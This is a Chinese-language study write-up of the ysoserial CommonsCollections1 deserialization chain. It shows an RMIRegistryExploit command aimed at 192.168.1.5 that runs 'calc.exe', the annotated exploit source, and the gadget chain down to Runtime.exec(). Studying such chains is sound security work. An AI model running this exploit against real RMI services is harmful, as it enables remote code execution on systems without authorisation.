Java反序列化之ysoserial cc1链分析

启动RMI服务

java -cp ysoserial-master-d367e379d9-1.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.5 777 CommonsCollections1  "calc.exe"

public class RMIRegistryExploit {
   ..............
   public static void main(final String[] args) throws Exception {
      //获取到命令的第一个参数 即RMI服务端IP 192.168.1.5 
      final String host = args[0];


      //获取到命令的第二个参数 即RMI服务端端口 777 
      final int port = Integer.parseInt(args[1]);


      //获取的要执行的命令 "calc.exe"
      final String command = args[3];


      //获取192.168.1.5:777 上存在的RMI服务
      Registry registry = LocateRegistry.getRegistry(host, port);


      //获取paylaod类名即：ysoserial.payloads.CommonsCollections1
      final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];


      //获取ysoserial.payloads.CommonsCollections1类的对象
      final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);


      // test RMI registry connection and upgrade to SSL connection on fail
      try {
         registry.list();
      } catch(ConnectIOException ex) {
         registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
      }


      //将获取到的RMI服务对象，payloads所在的类CommonsCollections1类的对象，要执行的命令作为参数传入，调用exploit方法   
      // ensure payload doesn't detonate during construction or deserialization
      exploit(registry, payloadClass, command);
   }


   public static void exploit(final Registry registry,
         final Class<? extends ObjectPayload> payloadClass,
         final String command) throws Exception {
      new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
         //获取CommonsCollections1类无参构造器运行时类的对象
         ObjectPayload payloadObj = payloadClass.newInstance();


         //调用CommonsCollections1类运行时类的对象的getObject方法，并将要执行的命令作为参数传入 
         //getObject方法 即前文Client利用代码
         Object payload = payloadObj.getObject(command);
         String name = "pwned" + System.nanoTime();


         //使用基于AnnotationInvocationHandler的动态代理，从而加载rmi协议指定的类
         Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
         try {
            //将远程引用绑定到RMI注册服务器中的指定name 
            registry.bind(name, remote);
         } catch (Throwable e) {
            e.printStackTrace();
         }
         Utils.releasePayload(payloadObj, payload);
         return null;
      }});
   }
}

//payloadClass为获取的ysoserial.payloads.CommonsCollections1类的对象
//payloadObj即获取的CommonsCollections1类无参构造器运行时类的对象
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);

参数一loader：生成代理对象使用哪个类装载器【一般使用的是被代理类的装载器】
参数二interfaces：生成哪个对象的代理对象，通过接口指定【指定要被代理类的接口】
参数三h：生成的代理对象的方法里干什么事，动态代理方法在执行时，会调用h里面的invoke方法去执行【即InvocationHandler接口的实现】

 //ANN_INV_HANDLER_CLASS="sun.reflect.annotation.AnnotationInvocationHandler"
  (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

handler.memberValues == mapProxy
mapProxy.handler.memberValues == lazyMap

ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()
              Method.invoke()
                Class.getMethod()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.getRuntime()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.exec()

ysoserial cc1链和Apache Commons Collections反序列化利用链的点还是有些区别，也涉及到了动态代理等一些新知识，比较复杂，而ysoserial的利用链还有很多，需要去不断深入分析，尽快填坑吧~